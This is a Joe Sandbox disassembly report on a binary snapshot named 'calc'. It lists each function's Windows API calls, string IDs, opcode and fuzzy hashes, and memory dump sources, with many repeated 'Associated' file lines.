    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Path$ObjectStroke$DeleteFillSelect
    • String ID:
    • API String ID: 2625713937-0
    • Opcode ID: 23c54d3cf4bc0d418e7e8bc42216f99ef4e3a97e6112289699dbe474492b5dfa
    • Instruction ID: faaffeaf7891965e631770e75f3ffb588c3777943424dd606cefa2ef2d9927aa
    • Opcode Fuzzy Hash: 23c54d3cf4bc0d418e7e8bc42216f99ef4e3a97e6112289699dbe474492b5dfa
    • Instruction Fuzzy Hash: 6C018B31004706EBEB214F28D8487D57B71AB40322F108625F96AA61F0CB3999A2CF54
    Function 004249D1 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 268comCOMMON
    Download Yara Rule
    APIs
    • CoInitialize.OLE32(00000000), ref: 00424A34
    • CoCreateInstance.COMBASE(0045AE98,00000000,00000001,0045AE88,?), ref: 00424A4B
    • CoUninitialize.COMBASE ref: 00424C9D
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CreateInitializeInstanceUninitialize
    • String ID: .lnk
    • API String ID: 948891078-24824748
    • Opcode ID: abe4dc049cf9ea11e79e1e6d9546ddabb46a3fdb4675210c504674f090cd1e24
    • Instruction ID: 247f32ee5b818feb01d68aeef06b919af8635f7b9c9483692209132b4a3e94cc
    • Opcode Fuzzy Hash: abe4dc049cf9ea11e79e1e6d9546ddabb46a3fdb4675210c504674f090cd1e24
    • Instruction Fuzzy Hash: E1A18035A00214EFDF10DF54D885A9EBBB5EF85324F55809AE805AB351C738EE81CF98
    Function 00424CB5 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206comCOMMON
    Download Yara Rule
    APIs
    • CoInitialize.OLE32(00000000), ref: 00424D37
    • CoCreateInstance.COMBASE(0045AE98,00000000,00000001,0045AE88,?), ref: 00424D4E
    • CoUninitialize.COMBASE ref: 00424EDC
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CreateInitializeInstanceUninitialize
    • String ID: .lnk
    • API String ID: 948891078-24824748
    • Opcode ID: f05d7367beeb5f65309bbd3b4249ca7ef7fbead5d0f8a486fa669403c51d8ec6
    • Instruction ID: 6601a6f92ded61f3dc518123d982e861e17d97c3953e59de5f2fbdd9491a0982
    • Opcode Fuzzy Hash: f05d7367beeb5f65309bbd3b4249ca7ef7fbead5d0f8a486fa669403c51d8ec6
    • Instruction Fuzzy Hash: CD619E71600218AFDB00EFA4DC85EEE7779EF88354F10454AF505AB291CA78EE81CB94
    Function 0043903B Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 176COMMON
    Download Yara Rule
    APIs
    • ShellExecuteExW.SHELL32(?), ref: 00439188
    • CloseHandle.KERNEL32(00000000,00000001), ref: 00439216
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CloseExecuteHandleShell
    • String ID: @$open
    • API String ID: 283469938-267353779
    • Opcode ID: eabc24713cc0d57b82beee37674fe870f9fd3a7856a74545b4a3a8b12b45cbae
    • Instruction ID: feda34889901b56425d67917506db13db688c050cc61e307db15a32002fab435
    • Opcode Fuzzy Hash: eabc24713cc0d57b82beee37674fe870f9fd3a7856a74545b4a3a8b12b45cbae
    • Instruction Fuzzy Hash: 7D61CF35800216EBEF14EF96C849A9EB7B4BF08324F14416BE81577251CBB8AD85CBD9
    Function 004137E9 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 175windowCOMMON
    Download Yara Rule
    APIs
    • GetMenuItemInfoW.USER32(00000000,000000FF,00000000,0000002C), ref: 004138ED
    • SetMenuItemInfoW.USER32(00000000,000000FF,00000000,0000002C), ref: 0041399F
    • SetMenuDefaultItem.USER32(00000000,000000FF,00000000), ref: 004139BA
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ItemMenu$Info$Default
    • String ID: ,
    • API String ID: 1306138088-3772416878
    • Opcode ID: 71f438033b53904974136d9e04b45af9f2db5fb7443b03c49805bf458f58f483
    • Instruction ID: 0562580491547a8833eccc7864831183b09bff118f29a06cf6e1091235e7571e
    • Opcode Fuzzy Hash: 71f438033b53904974136d9e04b45af9f2db5fb7443b03c49805bf458f58f483
    • Instruction Fuzzy Hash: 1F5116B1A14248AAEB21DF65C4847DFBBF5AF40325F24845FE481A6281C7BD9FC4CB19
    Function 004246CD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141fileCOMMON
    Download Yara Rule
    APIs
    • GetLastError.KERNEL32(00000000), ref: 004247C7
    • DeleteFileW.KERNEL32(00000000), ref: 004247F1
    • FreeLibrary.KERNEL32(00000000,00000000), ref: 00424847
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: DeleteErrorFileFreeLastLibrary
    • String ID: Wu
    • API String ID: 2986937368-4083010176
    • Opcode ID: de5ada64192f288c7d5951babf4f08a3a3b5f0c45b99619aa895fb4c60c3ae0f
    • Instruction ID: 7d4b9774e6ea4061bb3ea3b4dea8a86c92428497e7d989edbd8b32bd18d52442
    • Opcode Fuzzy Hash: de5ada64192f288c7d5951babf4f08a3a3b5f0c45b99619aa895fb4c60c3ae0f
    • Instruction Fuzzy Hash: 1951B379A00225EFDB00EF55E84099DF774FF81324B95855BE429A7601CB38FC81CB99
    Function 0041352C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 112windowCOMMON
    Download Yara Rule
    APIs
    • GetMenuItemInfoW.USER32(?,00000001,00000000,0000002C), ref: 004135A0
    • DeleteMenu.USER32(?,?,00000000,?,00000001,00000000,0000002C), ref: 004135EB
    • DeleteMenu.USER32(?,00000001,00000000), ref: 00413642
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Menu$Delete$InfoItem
    • String ID: ,
    • API String ID: 135850232-3772416878
    • Opcode ID: eadcb55df29078d9890b1672165eda3be909e78da1399042eef8c1ff167db386
    • Instruction ID: 3c634a933cfbc8d95b1f8b83f838f06eb693c9081707924d3606c629297d5029
    • Opcode Fuzzy Hash: eadcb55df29078d9890b1672165eda3be909e78da1399042eef8c1ff167db386
    • Instruction Fuzzy Hash: D441D231604244FFDB20CF68C984BD9BBF1AF05325F2485A9E955AB391C378EE81CB55
    Function 0044C323 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109COMMON
    Download Yara Rule
    APIs
    • __lock.LIBCMT ref: 0044C3A3
    • __lock.LIBCMT ref: 0044C3D4
      • Part of subcall function 00449C88: __lock.LIBCMT ref: 00449CA6
      • Part of subcall function 00449C88: RtlFreeHeap.NTDLL(00000000,?,0045B078,0000000C,0044C6BF,00000000,0045B3A0,00000008,0044C6F4,?,?,?,00449A5F,00000004,0045B068,0000000C), ref: 00449CED
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: __lock$FreeHeap
    • String ID: hTF$XF
    • API String ID: 743385489-2767625525
    • Opcode ID: 9b4923d12ef1f14ec64f77e8bfcd8aa64ffaef5e41d586ee2ec8f1fc6d1a7ac6
    • Instruction ID: edb2aeb90118eac4e3f8c23d9c0d3922c22ecf043b2881719fa403f2a85e6d15
    • Opcode Fuzzy Hash: 9b4923d12ef1f14ec64f77e8bfcd8aa64ffaef5e41d586ee2ec8f1fc6d1a7ac6
    • Instruction Fuzzy Hash: EF31D731642A008FE7A0EF29D5C186AB3F5AF9471576C464FE410DB652CB3EDC819A1C
    Function 004241EE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 103COMMON
    Download Yara Rule
    APIs
    • SetErrorMode.KERNEL32(00000001), ref: 004241FB
    • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000000,00000000), ref: 00424299
    • FreeLibrary.KERNEL32(?), ref: 004242EF
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Free$DiskErrorLibraryModeSpace
    • String ID: Wu
    • API String ID: 196386347-4083010176
    • Opcode ID: d4525d0b894da0b7848a2574bfaea22d4a351bbcd6a5746c59c8fb9b4fbb3e78
    • Instruction ID: f274591ae7b67bffc816cfc9c90c776a87d96e347c749b2d83b5f8e98dcb1e87
    • Opcode Fuzzy Hash: d4525d0b894da0b7848a2574bfaea22d4a351bbcd6a5746c59c8fb9b4fbb3e78
    • Instruction Fuzzy Hash: 08316231A00518EBCF05EF96E8458EEBBB8FF84350B4540ABF501A7151DB38A945CB69
    Function 004155D8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102filestringCOMMON
    Download Yara Rule
    APIs
      • Part of subcall function 00414E6E: GetFullPathNameW.KERNEL32(00000000,00000104,?,?,?,0047BD30,?,0040FF5E,?,?), ref: 00414E89
    • lstrcmpiW.KERNEL32(?,?), ref: 0041560D
    • MoveFileW.KERNEL32(?,?), ref: 00415643
      • Part of subcall function 0041553B: GetFileAttributesW.KERNEL32(0041568E,?,?,?,0041568E,?), ref: 00415558
      • Part of subcall function 0041553B: GetLastError.KERNEL32(?,?,?,0041568E,?), ref: 00415563
      • Part of subcall function 0041553B: CreateDirectoryW.KERNEL32(0041568E,00000000,?,?,?,0041568E,?), ref: 00415577
    • SHFileOperationW.SHELL32(?), ref: 0041570F
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: File$AttributesCreateDirectoryErrorFullLastMoveNameOperationPathlstrcmpi
    • String ID: \*.*
    • API String ID: 1621038701-1173974218
    • Opcode ID: ed6c6db5e1a82ec21dce6ba2fede384b792a7cb1beee2ae600bde39d4fb8793d
    • Instruction ID: 5b62e6b32fe5bc9b2134debb3df8c4339f2b18e98be065067f761ca7b62991fe
    • Opcode Fuzzy Hash: ed6c6db5e1a82ec21dce6ba2fede384b792a7cb1beee2ae600bde39d4fb8793d
    • Instruction Fuzzy Hash: D131F07180131DAADF50EFE5D845ADEB7BCAF49314F9044ABE508E3141E7389B898F58
    Function 0042026C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88COMMON
    Download Yara Rule
    APIs
    • CharUpperBuffW.USER32(?,00420227,@ExitCode,0047A0C0,0045C6D0,00479E08,00479E08,?,?,00478410,?,00479E08,00479E08,00000000), ref: 004202DF
    • CharUpperBuffW.USER32(?,00420227,@ExitMethod,0047BD20,?,00000000,?,?,00478410,?,00479E08,00479E08,00000000), ref: 0042031E
      • Part of subcall function 004183F6: VariantClear.OLEAUT32(?), ref: 00418410
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: BuffCharUpper$ClearVariant
    • String ID: @ExitCode$@ExitMethod
    • API String ID: 3959644497-2214745556
    • Opcode ID: a716d707f0bd5257379f6721deef3a17544f8f8ff8fd5a9d8c21a2feecf77613
    • Instruction ID: 3d018d55bbbd5adba44dc97a11c7304ca77cc37ef3b631a2418edd763fc03717
    • Opcode Fuzzy Hash: a716d707f0bd5257379f6721deef3a17544f8f8ff8fd5a9d8c21a2feecf77613
    • Instruction Fuzzy Hash: BE314D76900219AFDB10ABA9EC41EEE77B9EF48315F10842AF50173152DB786949CBA8
    Function 0040ABEC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83windowCOMMON
    Download Yara Rule
    APIs
    • SendMessageW.USER32(00000000,00001009,00000000,?), ref: 0040AC75
    • SetWindowPos.USER32(?,00000000,?,?,?,?,00000004,?,?,?,00000000,00000001), ref: 0040AC89
    • SendMessageW.USER32(?,00001002,00000000,?), ref: 0040ACAC
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend$Window
    • String ID: SysMonthCal32
    • API String ID: 2326795674-1439706946
    • Opcode ID: 11503d690707827b2dd3ed0369c2305c7705d4a06c693a8b6f2baa214a645079
    • Instruction ID: 14d7fa46a2dee2dc3646f6fb0c2dd2493d7f4650df8431ad64ce384b3088b83b
    • Opcode Fuzzy Hash: 11503d690707827b2dd3ed0369c2305c7705d4a06c693a8b6f2baa214a645079
    • Instruction Fuzzy Hash: 60218032600318BBEF218F54CC45FDA3BA5AB58754F010126FA04B61D0D3B9ACA1DB99
    Function 0042B031 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 81COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 0042FF12: LoadLibraryA.KERNEL32(Wininet.dll,0042B04C,?,00000000), ref: 0042FF1D
      • Part of subcall function 0042FF12: GetProcAddress.KERNEL32(00000000,InternetCrackUrlW), ref: 0042FF2F
    • FreeLibrary.KERNEL32(?,?,00000000), ref: 0042B0BB
    • FreeLibrary.KERNEL32(?,?,00000000), ref: 0042B106
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Library$Free$AddressLoadProc
    • String ID: <$Wu
    • API String ID: 1386263645-3459117047
    • Opcode ID: bc8154724da4988744ae3f73b3a068960f97eee7dce1caf29509b1ad39073ea0
    • Instruction ID: 08250e3cd797b4f165cb22cbd0ca780e2f8aa99a4327fa461dcb274be227e967
    • Opcode Fuzzy Hash: bc8154724da4988744ae3f73b3a068960f97eee7dce1caf29509b1ad39073ea0
    • Instruction Fuzzy Hash: 4D31B3B1D00229EFCB11DF99E8419DEBBF8EF48300F50816BE815A7251D7799A41DFA4
    Function 0040B37A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77windowlibraryCOMMON
    Download Yara Rule
    APIs
    • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 0040B3EC
    • LoadLibraryW.KERNEL32(?,?,?,004095E6,?,?,?,?,?,?,?,?,00000000,?,00000001,?), ref: 0040B3F5
    • SendMessageW.USER32(?,00000467,00000000,?), ref: 0040B409
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend$LibraryLoad
    • String ID: SysAnimate32
    • API String ID: 3205928328-1011021900
    • Opcode ID: 60bcf4f9e98a4ab7d6c914802edf5d53d6059652804dfc9f252d41936e200753
    • Instruction ID: a7c430d5558a324c019549c7c535725aa8373f33fb7607741f0f21616e2b7dae
    • Opcode Fuzzy Hash: 60bcf4f9e98a4ab7d6c914802edf5d53d6059652804dfc9f252d41936e200753
    • Instruction Fuzzy Hash: 7E217F71500218AFDF118F55DC84DAB7BA9EF89368F104626FD14A62E2D339CC51DBA8
    Function 0040AA6D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71windowCOMMON
    Download Yara Rule
    APIs
    • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 0040AAF9
    • SendMessageW.USER32(?,00000186,00000000,00000000), ref: 0040AB04
    • MoveWindow.USER32(?,?,?,?,?,00000000,?,Listbox,00000000,00000000,?,?,?,?,00000000,00000000), ref: 0040AB23
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend$MoveWindow
    • String ID: Listbox
    • API String ID: 3315199576-2633736733
    • Opcode ID: f2c24b57c72e74bd4c16310fe02d369d1d4bcaf66d9730a99e10fc43add17c47
    • Instruction ID: 900ec8e690eb78fd8c93632f1fd8deb6979e6213f13d5d8211199dabb923d6dc
    • Opcode Fuzzy Hash: f2c24b57c72e74bd4c16310fe02d369d1d4bcaf66d9730a99e10fc43add17c47
    • Instruction Fuzzy Hash: EB212C7150020DBFDF229F50CD84DDA3BA9EF08398F014226FA44662A1C77A9CA1DB95
    Function 004042C8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 70windowCOMMON
    Download Yara Rule
    APIs
    • GetClassNameW.USER32(?,?,0000007F), ref: 0040431C
    • IsDialogMessageW.USER32(?,?), ref: 0040435B
    Strings
    Memory Dump Source
